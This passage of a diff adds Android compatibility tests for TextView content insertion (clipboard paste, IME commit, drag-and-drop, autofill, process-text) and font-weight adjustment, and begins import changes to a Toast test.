+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xhi worldz", 9);
+        int spanStart = mTextView.getEditableText().getSpanStart(underlineSpan);
+        assertThat(spanStart).isEqualTo(4);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_text_convertToPlainText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newPlainText("test", "y");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_styledText_convertToPlainText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        UnderlineSpan underlineSpan = new UnderlineSpan();
+        SpannableStringBuilder ssb = new SpannableStringBuilder("hi world");
+        ssb.setSpan(underlineSpan, 3, 7, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        ClipData clip = ClipData.newPlainText("test", ssb);
+
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("xhi worldz", 9);
+        int spanStart = mTextView.getEditableText().getSpanStart(underlineSpan);
+        assertThat(spanStart).isEqualTo(-1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_html() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newHtmlText("test", "*y*", "<b>y</b>");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_html_convertToPlainText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newHtmlText("test", "*y*", "<b>y</b>");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("x*y*z", 4);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_unsupportedMimeType() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("text", "html", null, SAMPLE_CONTENT_URI));
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xhtmlz", 5);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_unsupportedMimeType_convertToPlainText()
+            throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("text", "html", null, SAMPLE_CONTENT_URI));
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD,
+                FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("xtextz", 5);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_multipleItemsInClipData() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newPlainText("test", "ONE");
+        clip.addItem(new ClipData.Item("TWO"));
+        clip.addItem(new ClipData.Item("THREE"));
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xONE\nTWO\nTHREEz", 14);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_noSelectionPriorToPaste() throws Exception {
+        // Set the text and then clear the selection (ie, ensure that nothing is selected and
+        // that the cursor is not present).
+        initTextViewForEditing("xz", 0);
+        Selection.removeSelection(mTextView.getEditableText());
+        assertTextAndCursorPosition("xz", -1);
+
+        // Pasting should still work (should just insert the text at the beginning).
+        ClipData clip = ClipData.newPlainText("test", "y");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("yxz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_selectionStartAndEndSwapped() throws Exception {
+        initTextViewForEditing("", 0);
+
+        // Set the selection such that "end" is before "start".
+        mTextView.setText("hey", BufferType.EDITABLE);
+        Selection.setSelection(mTextView.getEditableText(), 3, 1);
+        assertTextAndSelection("hey", 3, 1);
+
+        // Pasting should still work (should still successfully overwrite the selection).
+        ClipData clip = ClipData.newPlainText("test", "i");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("hi", 2);
+    }
+
+    // ============================================================================================
+    // Tests to verify that the OnReceiveContentListener is invoked for all the appropriate user
+    // interactions:
+    // * Paste from clipboard ("Paste" and "Paste as plain text" actions)
+    // * Content insertion from IME
+    // * Drag and drop
+    // * Autofill
+    // * Process text (Intent.ACTION_PROCESS_TEXT)
+    // ============================================================================================
+
+    @UiThreadTest
+    @Test
+    public void testPaste_noCustomReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy text to the clipboard.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        copyToClipboard(clip);
+
+        // Trigger the "Paste" action. This should execute the default receiver.
+        boolean result = triggerContextMenuAction(android.R.id.paste);
+        assertThat(result).isTrue();
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPaste_customReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy text to the clipboard.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        copyToClipboard(clip);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the "Paste" action and assert that the custom receiver was executed.
+        triggerContextMenuAction(android.R.id.paste);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_CLIPBOARD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPaste_customReceiver_unsupportedMimeType() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy a URI to the clipboard with a MIME type that's not supported by the receiver.
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("y", null, SAMPLE_CONTENT_URI));
+        copyToClipboard(clip);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain", "video/avi"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the "Paste" action and assert that the custom receiver was executed.
+        triggerContextMenuAction(android.R.id.paste);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_CLIPBOARD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPasteAsPlainText_noCustomReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy HTML to the clipboard.
+        ClipData clip = ClipData.newHtmlText("test", "*y*", "<b>y</b>");
+        copyToClipboard(clip);
+
+        // Trigger the "Paste as plain text" action. This should execute the platform paste
+        // handling, so the content should be inserted according to whatever behavior is implemented
+        // in the OS version that's running.
+        boolean result = triggerContextMenuAction(android.R.id.pasteAsPlainText);
+        assertThat(result).isTrue();
+        assertTextAndCursorPosition("x*y*z", 4);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPasteAsPlainText_customReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy text to the clipboard.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        copyToClipboard(clip);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the "Paste as plain text" action and assert that the custom receiver was
+        // executed.
+        triggerContextMenuAction(android.R.id.pasteAsPlainText);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Trigger the IME's commitContent() call and assert its outcome.
+        boolean result = triggerImeCommitContent("image/png");
+        assertThat(result).isFalse();
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call and assert that the custom receiver was executed.
+        triggerImeCommitContent("image/png");
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_INPUT_METHOD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_customReceiver_unsupportedMimeType() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call and assert that the custom receiver was executed.
+        triggerImeCommitContent("video/mp4");
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_INPUT_METHOD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_customReceiver_oldTargetSdk() throws Exception {
+        configureAppTargetSdkToR();
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call and assert that the custom receiver was executed.
+        triggerImeCommitContent("image/png");
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_INPUT_METHOD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_linkUri() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call with a linkUri and assert receiver extras.
+        Uri sampleLinkUri = Uri.parse("http://example.com");
+        triggerImeCommitContent("image/png", sampleLinkUri, null);
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_INPUT_METHOD, 0, sampleLinkUri, null));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_opts() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call with opts and assert receiver extras.
+        String sampleOptValue = "sampleOptValue";
+        triggerImeCommitContent("image/png", null, sampleOptValue);
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_INPUT_METHOD, 0, null, sampleOptValue));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_linkUriAndOpts() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call with a linkUri & opts and assert receiver extras.
+        Uri sampleLinkUri = Uri.parse("http://example.com");
+        String sampleOptValue = "sampleOptValue";
+        triggerImeCommitContent("image/png", sampleLinkUri, sampleOptValue);
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_INPUT_METHOD, 0, sampleLinkUri, sampleOptValue));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 2);
+
+        // Trigger drop event. This should execute the default receiver.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        triggerDropEvent(clip);
+        assertTextAndCursorPosition("yxz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 2);
+        String[] receiverMimeTypes = new String[] {"text/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger drop event and assert that the custom receiver was executed.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        triggerDropEvent(clip);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        // Note: The cursor is moved to the location of the drop before calling the receiver.
+        assertTextAndCursorPosition("xz", 0);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_customReceiver_unsupportedMimeType() throws Exception {
+        initTextViewForEditing("xz", 2);
+        String[] receiverMimeTypes = new String[] {"text/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger drop event and assert that the custom receiver was executed.
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("y", null, SAMPLE_CONTENT_URI));
+        triggerDropEvent(clip);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        // Note: The cursor is moved to the location of the drop before calling the receiver.
+        assertTextAndCursorPosition("xz", 0);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAutofill_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Trigger autofill. This should execute the default receiver.
+        triggerAutofill("y");
+        assertTextAndCursorPosition("y", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAutofill_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+        String[] receiverMimeTypes = new String[] {"text/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger autofill and assert that the custom receiver was executed.
+        triggerAutofill("y");
+        ClipData clip = ClipData.newPlainText("", "y");
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_AUTOFILL, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testProcessText_noCustomReceiver() throws Exception {
+        initTextViewForEditing("Original text", 0);
+        Selection.setSelection(mTextView.getEditableText(), 0, mTextView.getText().length());
+
+        String newText = "Replacement text";
+        triggerProcessTextOnActivityResult(newText);
+        assertTextAndCursorPosition(newText, newText.length());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testProcessText_customReceiver() throws Exception {
+        String originalText = "Original text";
+        initTextViewForEditing(originalText, 0);
+        Selection.setSelection(mTextView.getEditableText(), 0, originalText.length());
+        assertTextAndSelection(originalText, 0, originalText.length());
+
+        String[] receiverMimeTypes = new String[] {"text/plain"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        String newText = "Replacement text";
+        triggerProcessTextOnActivityResult(newText);
+        ClipData clip = ClipData.newPlainText("", newText);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_PROCESS_TEXT, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndSelection(originalText, 0, originalText.length());
+    }
+
+
+    private void initTextViewForEditing(final String text, final int cursorPosition) {
+        mTextView.setKeyListener(QwertyKeyListener.getInstance(false, Capitalize.NONE));
+        mTextView.setTextIsSelectable(true);
+        mTextView.requestFocus();
+
+        SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+        mTextView.setText(ssb, BufferType.EDITABLE);
+        mTextView.measure(MeasureSpec.UNSPECIFIED, MeasureSpec.UNSPECIFIED);
+        Selection.setSelection(mTextView.getEditableText(), cursorPosition);
+
+        assertWithMessage("TextView should have focus").that(mTextView.hasFocus()).isTrue();
+        assertTextAndCursorPosition(text, cursorPosition);
+    }
+
+    private void assertTextAndCursorPosition(String expectedText, int cursorPosition) {
+        assertTextAndSelection(expectedText, cursorPosition, cursorPosition);
+    }
+
+    private void assertTextAndSelection(String expectedText, int start, int end) {
+        assertThat(mTextView.getText().toString()).isEqualTo(expectedText);
+        int[] expected = new int[]{start, end};
+        int[] actual = new int[]{mTextView.getSelectionStart(), mTextView.getSelectionEnd()};
+        assertWithMessage("Unexpected selection start/end indexes")
+                .that(actual).isEqualTo(expected);
+    }
+
+    private void onReceive(final OnReceiveContentListener receiver,
+            final ClipData clip, final int source, final int flags) {
+        ContentInfo payload =
+                new ContentInfo.Builder(clip, source)
+                .setFlags(flags)
+                .build();
+        receiver.onReceiveContent(mTextView, payload);
+    }
+
+    private void resetTargetSdk() {
+        mActivity.getApplicationInfo().targetSdkVersion = Build.VERSION_CODES.CUR_DEVELOPMENT;
+    }
+
+    private void configureAppTargetSdkToR() {
+        mActivity.getApplicationInfo().targetSdkVersion = Build.VERSION_CODES.R;
+    }
+
+    private void configureAppTargetSdkToS() {
+        mActivity.getApplicationInfo().targetSdkVersion = Build.VERSION_CODES.S;
+    }
+
+    private void copyToClipboard(ClipData clip) {
+        mClipboardManager.setPrimaryClip(clip);
+    }
+
+    private boolean triggerContextMenuAction(final int actionId) {
+        return mTextView.onTextContextMenuItem(actionId);
+    }
+
+    private boolean triggerImeCommitContent(String mimeType) {
+        return triggerImeCommitContent(mimeType, null, null);
+    }
+
+    private boolean triggerImeCommitContent(String mimeType, Uri linkUri, String extra) {
+        final InputContentInfo contentInfo = new InputContentInfo(
+                SAMPLE_CONTENT_URI,
+                new ClipDescription("from test", new String[]{mimeType}),
+                linkUri);
+        final Bundle opts;
+        if (extra == null) {
+            opts = null;
+        } else {
+            opts = new Bundle();
+            opts.putString(ContentInfoArgumentMatcher.EXTRA_KEY, extra);
+        }
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        return ic.commitContent(contentInfo, 0, opts);
+    }
+
+    private void triggerAutofill(CharSequence text) {
+        mTextView.autofill(AutofillValue.forText(text));
+    }
+
+    private boolean triggerDropEvent(ClipData clip) {
+        DragEvent dropEvent = createDragEvent(DragEvent.ACTION_DROP, mTextView.getX(),
+                mTextView.getY(), clip);
+        return mTextView.onDragEvent(dropEvent);
+    }
+
+    private static DragEvent createDragEvent(int action, float x, float y, ClipData clip) {
+        DragEvent dragEvent = mock(DragEvent.class);
+        when(dragEvent.getAction()).thenReturn(action);
+        when(dragEvent.getX()).thenReturn(x);
+        when(dragEvent.getY()).thenReturn(y);
+        when(dragEvent.getClipData()).thenReturn(clip);
+        return dragEvent;
+    }
+
+    private void triggerProcessTextOnActivityResult(CharSequence replacementText) {
+        Intent data = new Intent();
+        data.putExtra(Intent.EXTRA_PROCESS_TEXT, replacementText);
+        mTextView.onActivityResult(TextView.PROCESS_TEXT_REQUEST_CODE, Activity.RESULT_OK, data);
+    }
+
+    private static ContentInfo contentEq(@NonNull ClipData clip, int source, int flags) {
+        return argThat(new ContentInfoArgumentMatcher(clip, source, flags, null, null));
+    }
+
+    private static ContentInfo contentEq(@NonNull ClipData clip, int source, int flags,
+            Uri linkUri, String extra) {
+        return argThat(new ContentInfoArgumentMatcher(clip, source, flags, linkUri, extra));
+    }
+
+    private static class ContentInfoArgumentMatcher implements ArgumentMatcher<ContentInfo> {
+        public static final String EXTRA_KEY = "testExtra";
+
+        @NonNull private final ClipData mClip;
+        private final int mSource;
+        private final int mFlags;
+        @Nullable private final Uri mLinkUri;
+        @Nullable private final String mExtra;
+
+        private ContentInfoArgumentMatcher(@NonNull ClipData clip, int source, int flags,
+                @Nullable Uri linkUri, @Nullable String extra) {
+            mClip = clip;
+            mSource = source;
+            mFlags = flags;
+            mLinkUri = linkUri;
+            mExtra = extra;
+        }
+
+        @Override
+        public boolean matches(ContentInfo actual) {
+            ClipData.Item expectedItem = mClip.getItemAt(0);
+            ClipData.Item actualItem = actual.getClip().getItemAt(0);
+            return Objects.equals(expectedItem.getText(), actualItem.getText())
+                    && Objects.equals(expectedItem.getUri(), actualItem.getUri())
+                    && mSource == actual.getSource()
+                    && mFlags == actual.getFlags()
+                    && Objects.equals(mLinkUri, actual.getLinkUri())
+                    && extrasMatch(actual.getExtras());
+        }
+
+        private boolean extrasMatch(Bundle actualExtras) {
+            if (mExtra == null) {
+                return actualExtras == null;
+            }
+            String actualExtraValue = actualExtras.getString(EXTRA_KEY);
+            return Objects.equals(mExtra, actualExtraValue);
+        }
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index e0fb5e8..805207a 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -65,6 +65,7 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
+import android.graphics.fonts.FontStyle;
 import android.icu.lang.UCharacter;
 import android.net.Uri;
 import android.os.Bundle;
@@ -199,6 +200,8 @@
         }
     };
     private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
+    private static final int BOLD_TEXT_ADJUSTMENT =
+            FontStyle.FONT_WEIGHT_BOLD - FontStyle.FONT_WEIGHT_NORMAL;
 
     private CharSequence mTransformedText;
     private Handler mHandler = new Handler(Looper.getMainLooper());
@@ -323,6 +326,127 @@
     }
 
     @Test
+    public void testFontWeightAdjustment_forceBoldTextEnabled_textIsBolded() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = findTextView(R.id.textview_text));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, mTextView.getTypeface().getWeight());
+
+        Configuration cf = new Configuration();
+        cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+        mActivityRule.runOnUiThread(() -> mTextView.dispatchConfigurationChanged(cf));
+        mInstrumentation.waitForIdleSync();
+
+        Typeface forceBoldedPaintTf = mTextView.getPaint().getTypeface();
+        assertEquals(FontStyle.FONT_WEIGHT_BOLD, forceBoldedPaintTf.getWeight());
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, mTextView.getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextDisabled_textIsUnbolded() throws Throwable {
+        Configuration cf = new Configuration();
+        cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            mTextView.dispatchConfigurationChanged(cf);
+            cf.fontWeightAdjustment = 0;
+            mTextView.dispatchConfigurationChanged(cf);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Typeface forceUnboldedPaintTf = mTextView.getPaint().getTypeface();
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, forceUnboldedPaintTf.getWeight());
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, mTextView.getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextEnabled_originalTypefaceKeptWhenEnabled()
+            throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+
+        Typeface forceBoldedPaintTf = mTextView.getPaint().getTypeface();
+        assertTrue(forceBoldedPaintTf.isBold());
+        assertEquals(Typeface.create(Typeface.MONOSPACE,
+                FontStyle.FONT_WEIGHT_BOLD, false), forceBoldedPaintTf);
+    }
+
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextDisabled_originalTypefaceIsKept()
+            throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = 0;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+        assertEquals(Typeface.MONOSPACE, mTextView.getPaint().getTypeface());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextEnabled_boldTypefaceIsBolded()
+            throws Throwable {
+        Typeface originalTypeface = Typeface.create(Typeface.MONOSPACE, Typeface.BOLD);
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(originalTypeface);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(originalTypeface, mTextView.getTypeface());
+        assertEquals(FontStyle.FONT_WEIGHT_MAX,
+                mTextView.getPaint().getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_adjustmentIsNegative_fontWeightIsLower() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = -200;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+        assertEquals(200, mTextView.getPaint().getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_adjustmentIsNegative_fontWeightIsMinimum()
+            throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = -500;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+        assertEquals(FontStyle.FONT_WEIGHT_MIN,
+                mTextView.getPaint().getTypeface().getWeight());
+    }
+
+    @Test
     public void testAccessMovementMethod() throws Throwable {
         final CharSequence LONG_TEXT = "Scrolls the specified widget to the specified "
                 + "coordinates, except constrains the X scrolling position to the horizontal "
@@ -3251,6 +3375,23 @@
 
     @UiThreadTest
     @Test
+    public void setSetImeConsumesInput() {
+        InputConnection input = initTextViewForSimulatedIme();
+        mTextView.setCursorVisible(true);
+        assertTrue(mTextView.isCursorVisible());
+
+        mTextView.setImeConsumesInput(true);
+        assertFalse(mTextView.isCursorVisible());
+
+        mTextView.setCursorVisible(true);
+        assertFalse(mTextView.isCursorVisible());
+
+        input.closeConnection();
+        assertTrue(mTextView.isCursorVisible());
+    }
+
+    @UiThreadTest
+    @Test
     public void testPerformLongClick() {
         mTextView = findTextView(R.id.textview_text);
         mTextView.setText("This is content");
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index fb1c7ba..d2a6a90 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -18,6 +18,8 @@
 
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertEquals;
@@ -28,6 +30,9 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import static java.util.stream.Collectors.toList;
+
+import android.app.NotificationManager;
 import android.app.UiAutomation;
 import android.app.UiAutomation.AccessibilityEventFilter;
